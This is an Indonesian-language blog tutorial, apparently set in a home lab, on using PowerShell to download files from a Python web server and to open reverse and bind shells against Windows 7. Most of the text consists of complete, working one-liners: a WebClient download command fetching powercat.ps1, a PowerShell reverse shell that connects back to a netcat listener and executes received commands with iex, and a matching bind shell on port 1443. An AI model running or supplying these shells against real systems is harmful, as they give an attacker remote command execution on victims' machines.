Pada kali ini ane ingin share cara penggunaan powershell dalam reverse shell dan bind shell. Kali ini saya punya 2 PC Windows dan 1 PC Linux. Linuxnya hanya 1 tapi punya 2 IP. Pastikan kalian tau netcat dulu yaaahh. Kalau belum tau bisa cek disini
Powershell Transfer File
Pertama, kita akan coba melakukan transfer file terlebih dahulu. Install powercat di linux (ini akan berguna pada tutorial selanjutnya)
Eksekusi di Linux :
apt install powercat
cd /usr/share/windows-resources/powercat
python -m SimpleHTTPServer
Download File dengan powershell
Jalankan powershell di Windows 7
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://192.168.56.22:8000/powercat.ps1','powercat.ps1')"
Powershell Reverse Shell
Reverse shell ini ibaratnya adalah mengembalikan, dari windows, kita akan mengkoneksikan ke netcat dengan mengirimkan shell si windows ke listenernya. Jadi gampangnya, kalau reverse ini dari client konek ke server atau listener. Si listener bakal dapet shell si client. Jadi, kita harus buat listenernya dulu, baru eksekusi client dengan shellnya.
nc -nlvp 443
Eksekusi di Windows 7 :
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.56.22',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush();}$client.Close();"


Powershell Bind Shell
Kalau bind shell ini, si listenernya bakal ngirim shellnya dia ke yang client yang konek.Eksekusi di Windows 7 :
powershell -c "$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0',1443);$listener.start();$client = $listener.AcceptTcpClient();$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();$listener.Stop()"
Eksekusi di Linux :
nc -nv 192.168.56.105 1443
loading...
Comments
Post a Comment